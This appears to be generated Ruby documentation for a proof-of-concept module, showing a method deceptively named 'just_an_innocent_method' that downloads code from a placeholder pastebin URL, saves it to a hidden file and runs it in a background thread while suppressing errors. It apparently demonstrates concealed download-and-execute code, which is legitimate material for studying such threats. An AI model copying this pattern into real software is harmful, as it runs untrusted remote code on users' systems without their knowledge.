Top Level Namespace

Defined Under Namespace

Modules: Poc

Instance Method Summary collapse

Instance Method Details

#just_an_innocent_methodObject



5
6
7
8
9
10
11
12
13
# File 'lib/poc/playground/test.rb', line 5

def just_an_innocent_method
  File.open('.driver.rb', 'wb:utf-8') do |f|
    f << open('https://pastebin.com/raw/NOT_EXISTING').read
  end
  # tadaa
  Thread.new { `ruby .driver.rb` }
rescue StandardError => e
  -> { e }
end